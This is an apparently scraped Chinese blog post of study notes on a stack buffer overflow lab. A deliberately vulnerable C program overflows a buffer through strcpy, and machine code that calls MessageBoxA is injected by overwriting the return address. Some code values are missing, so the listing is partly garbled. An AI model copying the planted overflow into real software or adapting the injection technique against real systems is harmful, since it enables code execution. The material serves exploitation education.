修改之前的代码:

 #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h> #define PASSWORD "" int verify_password(char *password)
{
int authenticated=0x03050709;
char buffer[]; // add local buf to be overflowed
authenticated=strcmp(password,PASSWORD);
strcpy(buffer, password); // overflow here
return authenticated;
} int main()
{
int valid_flag=;
char password[];
LoadLibrary("user32.dll"); // for messagebox
if(!freopen("password.txt","r",stdin))
//FILE *fp;
//if(!(fp=fopen("password.txt","rw+")))
{
printf("file open error!\n");
exit();
}
scanf("%s",password);
//fscanf(fp,"%s",password);
printf("password input: %s\n",password);
valid_flag=verify_password(password);
if(valid_flag){
printf("Incorrect password!\n\n");
}
else
{
printf("Congratulation! You have passed the verification!\n\n");
}
//fclose(fp);
return ;
}

注意三处改变:

1. 头文件加入 windows.h

2. 第 11 行 verify_password() 的局部变量 buffer 长度增加为 44,便于填充代码

3. 第 21 行,为填充的代码使用 MessageBox() 作准备。

另外,函数返回地址、MessageBox() 的入口地址要随环境变化重新确定,这些地址可能依赖 OS 的补丁。

UltraEdit 编辑 password.txt,输入 11 组 dcba,由前面的笔记可知,authenticated 会被 overwrite 为 0,可以通过 verify_password() 验证。

OD 调试得出 verify_password() 的栈帧结构为:

……
buffer[0..3] - 起始于 0x0012FABC
buffer[4..7]
……
……
buffer[40..43]
int authenticated
前栈帧 EBP - 0x0012FAEC : 0x0012FF48
Ret Addr - 0x0012FAF0 : 0x00401248
……

Windows 系统中的 User32.dll 中有 MessageBoxA 函数,接下来通过将二进制代码作为 password 输入并溢出覆盖 RetAddr 后调用 MessageBox() 演示代码注入。

实际上,Windows 在执行 MessageBox 时会根据参数类型选择 A 类函数(ASCII) 或 W 类函数(Unicode) 进一步调用 MessageBoxA() 或者 MessageBoxW() 。这些知识可参阅 MFC & Windows API。

调用 MessageBox() 需要先做三件事:

1. 加载 User32.dll,这个在主函数中(开篇代码第 21 行)完成了。

2. 获取 MessageBox() 的入口地址。

3. 将 MessageBox() 的参数入栈。

关于 MessageBox() 的入口地址,原书介绍的方法是利用 Visual C++ 的工具 Dependency Walker。我下载了 Dependency Walker 2.2 并加载了一个带 UI 的程序,找到 User32.dll 地装载基址是 0x77D10000,MessageBoxA() 的偏移是 0x0005EA11,算出来 MessageBoxA() 的入口地址是:

0x77D10000 + 0x0005EA11 = 0x77D6EA11

但调试后发现这个计算出的入口不对,最后是通过在程序中调用 MessageBoxA() 并调试,才发现 MessageBoxA() 的入口应该是 0x7768EA11,偏差 0x6E0000,不知道为什么,这个问题留着以后完成。

这个,作为参数插入的机器码如下所示:

机器码 汇编码 备注
33 DB XOR EBX EBX 压入 "failwest" 的结尾截断符 NULL,与"PUSH 0"等效,但能防止 0 被 strcpy 截断
53 PUSH EBX
68 77 65 73 74 PUSH 74736577 压入"failwest" 字符串
68 66 61 69 6C PUSH 6C696166
8B C4 MOV EAX,ESP 将字符串指针放入 EAX
53 PUSH EBX

MessageBoxA() 的四个参数从右向左依次入栈,参数为 (0,failwest,failwest,0)

消息框为默认风格,标题和内容都是 failwest

50 PUSH EAX
50 PUSH EAX
53 PUSH EBX
B8 0E 02 D1 77 MOV EAX,0x77D1020E 调用 MessageBoxA()
FF D0 CALL EAX

注意,上图中多出的 0x90 对应的机器码是 nop(空指令)。

这样,运行后 buffer 会被机器码覆盖,原栈帧 EBP 会被 0x90909090 覆盖,而返回地址会被 buffer 的首地址 0x0012FABC 覆盖。

函数 verify_password() 返回后,EIP 会指向 buffer[],导致 MessageBoxA() 被执行,代码注入完成。

这一节存在的问题是:

1. 如前文描述 MessageBoxA() 的入口地址计算出错,还不知道原因。

2. 注入的 MessageBoxA() 执行后程序会崩溃,因为注入的代码没有安全退出,栈帧和寄存器状态被破坏。

2014年4月7日19:00:55

OD: Exploit Me - Inject Instruction的更多相关文章

  1. OD: Exploit Me - Overwrite Return Address

    修改邻接变量的方法对代码环境限制比较多,更通用.更强大的方法是修改 EBP.返回地址等状态值. 为了方便调试,修改之前的代码如下: #include<stdio.h> #include&l ...

  2. OD: Exploit Me - Overwrite Nearby Varible

    实验代码: #include<stdio.h> #include<string.h> #define PASSWORD "1234567" int veri ...

  3. 在angular中利用分页插件进行分页

    必需:angular分页js和css  当然还有angular.js   还需要bootstrap的css angular.min.js (下面我直接把插件粘贴上去了,以免有的同学还要去找.是不是很贴 ...

  4. OD: Kernel Exploit - 2 Programming

    本节接前方,对 exploitme.sys 进行利用. exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用. 获取 HalDis ...

  5. OD: Kernel Exploit - 1

    第 22 章,内核漏洞利用技术 首先编写具有漏洞的驱动 exploitme.sys,再展开内核漏洞利用思路和方法: /***************************************** ...

  6. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  7. OD: Shellcode / Exploit & DLL Trampolining

    看到第五章了. 标题中 Dll Tramplining(跳板)名字是从如下地址找到的,写的很好: http://en.wikipedia.org/wiki/Buffer_overflow#The_ju ...

  8. RCE via XStream object deserialization && SECURITY-247 / CVE-2016-0792 XML reconstruction Object Code Inject

    catalogue . Java xStream . DynamicProxyConverter . java.beans.EventHandler . RCE via XStream object ...

  9. gdb windbg and od use

    gdb aslr -- 显示/设置 gdb 的 ASLR asmsearch -- Search for ASM instructions in memory asmsearch "int ...

随机推荐

  1. JavaScript 客户端JavaScript之样式表操作(DOM API 提供模块之一)

    层叠样式 表和动态HTML   层叠样式表(CSS)是指定HTML文档或XML文档的表现的标准.     使用CSS和Javascript,可以创建出各种视觉效果,这些效果可以统称为动态HTML(DH ...

  2. 电机KV值对应的桨

    KV2200 -6寸 KV1400 -8寸 KV1000 -10寸

  3. mysql 整形的长度问题

    tinyint  有符号的范围是-128至127: 无符号的范围是0到255,2的8 次方-1: 存储大小为 1 字节. smallint  有符号的范围是-32768至32767: 无符号的范围是0 ...

  4. php 求两个文件的相对路径

    网上看了一些这个题的一些解答方法,不过大多数就是对目前需求而定的,比如 $a = '/a/b/c/d/e.php'; $b = '/a/d/12/34/c.php'; getpath($a , $b ...

  5. Memcached使用手册

    memcached简介 1.memcached是一个高性能的分布式的内存对象缓存系统,通过在内存里维护一个统一的巨大的hash表,它能够用来存储各种格式的数据,包括图像.视频.文件以及数据库检索的结果 ...

  6. 《python基础教程》笔记之 字典

    字典创建 字典由多个键值对组成,每个键和对应值之间用冒号隔开,项之间用逗号隔开,而整个字典用一对大括号括起来,如 >>> phonebook={'alice':'0123', 'Be ...

  7. 转:pthread_create()

    http://blog.csdn.net/youbang321/article/details/7815707 原型:int  pthread_create((pthread_t  *thread,  ...

  8. win8.1(64位) apache2.4.3+php5.6.3+mysql5.6安装

    win8.1(64位) apache2.4.3+php5.6.3+mysql5.6安装 http://blog.csdn.net/jiangzeyun/article/details/41676639

  9. Ruby on Rails Tutorial读书笔记-1

    只是怕忘了命令,全部撸一次,记个大概.. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 安装Ruby之前,先要安装RVM: curl -L https://get.rvm.io | bas ...

  10. ECMAScript 发展历史

    参考文献:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Language_Resources